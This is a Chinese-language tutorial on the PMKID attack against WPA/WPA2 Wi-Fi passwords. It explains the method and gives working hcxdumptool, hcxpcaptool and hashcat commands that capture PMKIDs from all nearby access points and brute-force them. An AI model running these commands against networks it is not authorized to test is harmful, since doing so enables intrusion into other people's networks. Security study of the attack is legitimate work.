知名密码破解软件Hashcat在2018年8月2日发布了4.2版本,这次版本更新的主要内容是增加了4个新的密码算法支持。
其中的WPA-PMKID-PBKDF2算法,是为了支持一种新的WAP预共享密钥密码破解方法。
New attack on WPA/WPA2 using PMKID
根据Hashcat官方论坛文章介绍,作者在研究WPA3安全标准时,意外发现的使用PMKID破解WPA预共享密钥的方法,与现有的其它破解方法不同,该方法不再需要抓取完整的EAPOL四次握手包,只需要一个EAPOL帧中的RSN IE(Robust Security Network Information Element)即可。目前,作者尚不清楚该攻击方法对哪些路由器生效,但仍认为可以有效的攻击所有启用了漫游功能的802.11i/p/q/r网络(大部分较新的路由器都支持)。
该方法注意的优势如下:
1.攻击者直接与AP通信,无需普通用户参与(即“无客户端”攻击);
2.无需等待普通用户与AP完成四次握手;
3.无需重传EAPOL帧(重传可能导致无法破解);
4.无需普通用户发送无效密码;
5.不再会因为攻击者离AP或普通用户太远丢失EAPOL帧;
6.无需修复nonce和replaycounter值;
7.无需特定的输出格式,最终数据以16进制编码字符串呈现。
相关工具
该攻击方法需要用到以下几个工具:
1.hcxdumptool v4.2.0 or higher;
2.用于抓包并保存为Hashcat破解可用的格式;
3.支持的无线网卡:
USB ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter
USB ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
USB ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter
USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter
USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter
hcxtools v4.2.0 or higher
hashcat v4.2.0 or higher
实战演示
本次演示环境:
Kali 2018.3(Linux内核版本4.17) + Tenda W311M无线网卡(MT7601U)
编译安装相关工具
hcxdumptool
下载源码编译(使用root运行,Linux内核版本>=4.14)
https://github.com/ZerBea/hcxdumptool/archive/4.2.0.tar.gz
tarf -xvf 4.2.0.tar.gz
cd hcxdumptool-4.2.0
make && make install
# 编译完成后的工具均安装在/usr/local/bin/目录下
hcxtools
# 安装依赖软件包,解决编译报错
apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
#下载源码编译(使用root运行)
wget https://github.com/ZerBea/hcxtools/archive/4.2.0.tar.gz
tar -xvf 4.2.0.tar.gz
cd hcxtools-4.2.0
make && make install
# 编译完成后的工具均安装在/usr/local/bin/目录下。
Hashcat
官方提供已编译好的二进制文件,包含Windows及Linux版本,下载解压即可。
# 下载Hashcat 4.2
wget https://hashcat.net/files/hashcat-4.2.0.7z
# 解压
7z x hashcat-4.2.0.7z
PMKID介绍
RSN IE(Robust Security Network Information Element)是8.2.11管理帧中的一个可选字段,其中的一个信息元素就是PMKID。
PMKID使用HMAC-SHA1算法计算得到,密钥为PMK,数据部分由固定的字符串标签“PMK Name”、AP的MAC地址及基站的MAC地址拼接组成,计算公式如下:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
因为PMK和普通的四次握手中的相同,因此PMKID是一个理想的攻击向量,破解所需的所有信息都可以从接收到的AP第一个EAPOL帧中得到。
抓取PMKID
hcxdumptool可以从AP请求PMKID并保存接收到的数据帧到文件中(pcapng格式)。
# 使用网卡wlan0,开启Monitor模式,
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up
# 查看可用的无线网卡
hcxdumptool -I
# 抓取管理帧和EAP/EAPOL帧,保存文件为pmkid.pacpng,开启状态显示
# 未添加AP过滤时,攻击端将对所有扫描到的AP发送协商请求。
hcxdumptool -o pmkid.pacpng -i wlan0 --enable_status
如果AP接受到攻击端的协商请求包并支持发送PMKID,过一会儿将看到“FOUND PMKID”的提示。
由于Wifi信道干扰等原因,可能需要过一段时间才能接收到PMKID,在你放弃前,建议耐心的等上10分钟。
数据格式转换
抓取的PMKID后,使用hcxpcaptool工具转换成Hashcat支持的格式。
$ ./hcxpcaptool -z pmkid.16800 pmkid.pcapng
转换后的文件内容:
以*符号分割的4列内容分别是:
1.PMKID
2.MAC AP
3.MAC Station
4.ESSID
通过MAC AP,可以查找到对应的WIFI名称。
密码破解
接下来,使用Hashcat破解抓取到的PMKID内容。
# 指定hash模式为16800,使用暴力破解方式,设置掩码为8个数字
hashcat -m 16800 pmkid.16800 -a 3 -w 3 '?d?d?d?d?d?d?d?d'
顺利的话,你将看到这样的结果,密码破解成功:
相关链接
Hashcat v4.2.0 https://hashcat.net/forum/thread-7711.html
New attack on WPA/WPA2 using PMKID https://hashcat.net/forum/thread-7717.html